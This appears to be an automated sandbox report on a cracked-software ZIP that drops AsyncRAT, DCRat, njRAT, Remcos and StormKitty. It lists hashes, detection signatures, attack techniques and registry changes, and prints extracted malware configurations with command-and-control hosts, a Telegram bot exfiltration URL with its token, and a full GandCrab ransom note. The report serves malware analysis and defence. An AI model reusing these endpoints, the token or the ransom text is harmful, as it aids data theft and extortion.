asyncrat | 67c12eda1cc8358e06ef29eabf1542bf68db9da45df65c52d0ac03246bf75e03

Resubmissions

09/09/2024, 23:39

240909-3nkmdswdqm10

09/09/2024, 23:31

09/09/2024, 23:11

09/09/2024, 22:25

09/09/2024, 22:24

09/09/2024, 22:07

09/09/2024, 21:53

09/09/2024, 21:44

Analysis

max time kernel
435s
max time network
436s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
09/09/2024, 21:44

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
クラック.zip
Size 13.4MB
Sample240909-1ltfeatend
SHA256 67c12eda1cc8358e06ef29eabf1542bf68db9da45df65c52d0ac03246bf75e03
MD5 6c5fc1a3ba386a83c87700f54d62a96f
SHA1 a05f08de3e4f218ad2567a2695d0ca500fb48ecf
SHA512 0a2573e40287c35c5a05c9b84fd5fd41bacc16c1bb565ee823ff6a42610c151f460a4be6d7009f0a70b648234aa998af27769ae667f4649c223c39c07449a098
SSDEEP 393216:T0Wxsts7B2+qq0a1n5Gy0vdymghya/2yswYpmTg:wGg1+0a1nYvvJghD/2yMM8
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

asyncrat dcrat njrat remcos stormkitty august crypter toolz grace stub default чучундра discovery evasion execution infostealer ransomware rat stealer trojan upx vmprotect

Malware Config

Extracted

Family

asyncrat

Botnet

Default

127.0.0.1:6606
127.0.0.1:7707
127.0.0.1:8808
https://api.telegram.org/bot7293375371:AAFwIvNWcuknS3y3mtsx4yNSSTkj8NCF_ko/sendMessage?chat_id=5795480469

Mutex

AsyncMutex_6SI8OkPnk

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Extracted

Family

njrat

Version

0.7d

Botnet

чучундра

hakim32.ddns.net:2000
safety-bronze.gl.at.ply.gg:4444

Mutex

27b92504703b09d3ee2dae0873e8e3f3

Attributes

reg_key
27b92504703b09d3ee2dae0873e8e3f3
splitter
|'|'|

Extracted

Family

remcos

Botnet

AUGUST CRYPTER TOOLZ GRACE STUB

teamfavour222.ddns.net :6767
odogwuvisual123.duckdns.org:6767

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
-YFLE4M
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Extracted

Path

C:\$Recycle.Bin\S-1-5-21-2412658365-3084825385-3340777666-1000\CDHWYSOV-DECRYPT.txt

Ransom Note

---= GANDCRAB V5.0.3 =--- ***********************UNDER NO CIRCUMSTANCES DO NOT DELETE THIS FILE, UNTIL ALL YOUR DATA IS RECOVERED*********************** *****FAILING TO DO SO, WILL RESULT IN YOUR SYSTEM CORRUPTION, IF THERE WILL BE DECRYPTION ERRORS***** Attention! All your files, documents, photos, databases and other important files are encrypted and have the extension: .CDHWYSOV The only method of recovering files is to purchase an unique private key. Only we can give you this key and only we can recover your files. The server with your key is in a closed network TOR. You can get there by the following ways: ---------------------------------------------------------------------------------------- | 0. Download Tor browser - https://www.torproject.org/ | 1. Install Tor browser | 2. Open Tor Browser | 3. Open link in TOR browser: http://gandcrabmfe6mnef.onion/96209d228f54c75f | 4. Follow the instructions on this page ---------------------------------------------------------------------------------------- On our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. ATTENTION! IN ORDER TO PREVENT DATA DAMAGE: * DO NOT MODIFY ENCRYPTED FILES * DO NOT CHANGE DATA BELOW ---BEGIN GANDCRAB KEY--- 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 ---END GANDCRAB KEY--- ---BEGIN PC DATA--- wfKD6iudumBkmpL8IRr4U4exEVaoOXLtwDwmOrT1y1YWvOiWMx5GYaRdvZZfToFRunYP7ntWvLfSTHKHhh5qBJzzs9MC7736UkGSDDniUJJG8/LFF//kmGmoAZAGLo2j5/wd2UrxMJK+iqKhTkS3ArgAxrZOOOiXrbnhbWMkLHQnbYuWlMClYZxYU6SDxpopRo5r292AV1KIZBZV4APBuUHcKSIr2MWMI0O1MKIP2IpKLE2TS5wNmoQoAHZIP7k/TfrG1tVzlDb3jcZAB3gql9dnWN0lCD4xdg7bDNQrvH1xSi3FCw+6kfktKtizqdynr7r154JiurEmkUXB6eKi/2Q2EesvGo9YblqBBi/t+xHTEd0b8icV4ty4bab3Y5NyPYz32XaispQRTRkqF1PXJPcJ15EHwNAoARPLnK8+Au5ZALyfhGEwg6hrKQ3vxBFKwg70Zi7pDhFN3vPLOeap1w4ZMnQURlWKYDmn1lvgAn90mSDf7SyGQSZnn7Ivlsuw7HIKVYbpfzf2fBccdMBnP2lNhH9XQ3DC2qZAEuDtLkioBZ9MNJGhHpcOfb/LRc8P54k7V/HuibORzJL9NXYEh8sz/ewORahtHP+ZbmbW4eJPXp1eNtQ19EJhJFLe2qhgw2mJLRMzwAtbfjn5E2ENiW4EkrJfTw== ---END PC DATA---

URLs

http://gandcrabmfe6mnef.onion/96209d228f54c75f

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
rat infostealer dcrat

Process spawned unexpected child process 64 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3216	1564	schtasks.exe	133
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2932	1564	schtasks.exe	133
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3080	1564	schtasks.exe	133
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2024	1564	schtasks.exe	133
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	372	1564	schtasks.exe	133
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	624	1564	schtasks.exe	133
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4224	1564	schtasks.exe	133
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2112	1564	schtasks.exe	133
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	376	1564	schtasks.exe	133
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1688	1564	schtasks.exe	133
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	456	1564	schtasks.exe	133
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1548	1564	schtasks.exe	133
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3976	1564	schtasks.exe	133
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	408	1564	schtasks.exe	133
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2364	1564	schtasks.exe	133
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4596	1564	schtasks.exe	133
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2500	1564	schtasks.exe	133
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4504	1564	schtasks.exe	133
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2152	1564	schtasks.exe	133
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4272	1564	schtasks.exe	133
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4224	1564	schtasks.exe	133
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5392	1564	schtasks.exe	133
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5344	1564	schtasks.exe	133
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5972	1564	schtasks.exe	133
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5072	1564	schtasks.exe	133
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4284	1564	schtasks.exe	133
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4920	1564	schtasks.exe	133
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5732	1564	schtasks.exe	133
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5636	1564	schtasks.exe	133
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5648	1564	schtasks.exe	133
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6052	1564	schtasks.exe	133
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1952	1564	schtasks.exe	133
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5972	1564	schtasks.exe	133
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5880	1564	schtasks.exe	133
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5288	1564	schtasks.exe	133
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5720	1564	schtasks.exe	133
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5708	1564	schtasks.exe	133
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5508	1564	schtasks.exe	133
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5416	1564	schtasks.exe	133
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1616	1564	schtasks.exe	133
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5496	1564	schtasks.exe	133
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4480	1564	schtasks.exe	133
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1900	1564	schtasks.exe	133
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	692	1564	schtasks.exe	133
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2836	1564	schtasks.exe	133
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4336	1564	schtasks.exe	133
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6088	1564	schtasks.exe	133
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5784	1564	schtasks.exe	133
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5820	1564	schtasks.exe	133
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5340	1564	schtasks.exe	133
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4428	1564	schtasks.exe	133
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5428	1564	schtasks.exe	133
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5504	1564	schtasks.exe	133
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4160	1564	schtasks.exe	133
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6112	1564	schtasks.exe	133
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6104	1564	schtasks.exe	133
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5280	1564	schtasks.exe	133
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	7152	1564	schtasks.exe	133
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6188	1564	schtasks.exe	133
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6460	1564	schtasks.exe	133
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6752	1564	schtasks.exe	133
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6828	1564	schtasks.exe	133
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6852	1564	schtasks.exe	133
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	7160	1564	schtasks.exe	133

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
StormKitty
StormKitty is an open source info stealer written in C#.
stealer stormkitty

StormKitty payload 2 IoCs

resource	yara_rule
behavioral1/files/0x0003000000022f1c-209.dat	family_stormkitty
behavioral1/memory/2464-225-0x0000000000270000-0x00000000002A2000-memory.dmp	family_stormkitty

njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral1/files/0x0003000000022f1c-209.dat	family_asyncrat

DCRat payload 4 IoCs

Detects payload of DCRat, commonly dropped by NSIS installers.

rat

resource	yara_rule
behavioral1/files/0x0004000000022f10-190.dat	dcrat
behavioral1/memory/2560-223-0x00000000004A0000-0x0000000000576000-memory.dmp	dcrat
behavioral1/files/0x0002000000023058-262.dat	dcrat
behavioral1/memory/3276-272-0x00000000000A0000-0x0000000000176000-memory.dmp	dcrat

Modifies Windows Firewall 2 TTPs 4 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
4076	netsh.exe
5472	netsh.exe
5372	netsh.exe
5604	netsh.exe

Executes dropped EXE 3 IoCs

pid	Process
5056	2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c.exe
2464	7f1630df6b57af024a3b561bdadc208f.exe
2560	5e710462c65fe899466e4fb7c1e33c9a.exe

UPX packed file 4 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00070000000231f1-331.dat	upx
behavioral1/memory/1692-333-0x0000000000400000-0x000000000048A000-memory.dmp	upx
behavioral1/memory/1692-643-0x0000000000400000-0x000000000048A000-memory.dmp	upx
behavioral1/memory/1692-644-0x0000000000400000-0x000000000048A000-memory.dmp	upx

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

VMProtect packed file 1 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

resource	yara_rule
behavioral1/files/0x00070000000233e5-387.dat	vmprotect

Drops file in Program Files directory 5 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe	クラック.exe
File created	C:\Program Files (x86)\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe	クラック.exe
File created	C:\Program Files (x86)\2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c.exe	クラック.exe
File created	C:\Program Files (x86)\5e710462c65fe899466e4fb7c1e33c9a.exe	クラック.exe
File created	C:\Program Files (x86)\7f1630df6b57af024a3b561bdadc208f.exe	クラック.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4044	Powershell.exe

Program crash 1 IoCs

pid	pid_target	Process	procid_target
5812	516	WerFault.exe	198

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	クラック.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7f1630df6b57af024a3b561bdadc208f.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
5680	taskkill.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133703922206585545"	chrome.exe

Modifies registry class 64 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\IconSize = "16"	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 0100000000000000ffffffff	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByDirection = "1"	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1"	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\11\Shell\SniffedFolderType = "Generic"	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 0000000001000000ffffffff	chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1"	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\FFlags = "1"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a000000a000000030f125b7ef471a10a5f102608c9eebac04000000c8000000354b179bff40d211a27e00c04fc308710300000080000000354b179bff40d211a27e00c04fc308710200000080000000	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\SniffedFolderType = "Documents"	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\LogicalViewMode = "1"	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\GroupByDirection = "1"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\FFlags = "1226833921"	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "0"	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:PID = "0"	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 = 14001f50e04fd020ea3a6910a2d808002b30309d0000	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\LogicalViewMode = "1"	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\GroupByDirection = "1"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}	chrome.exe
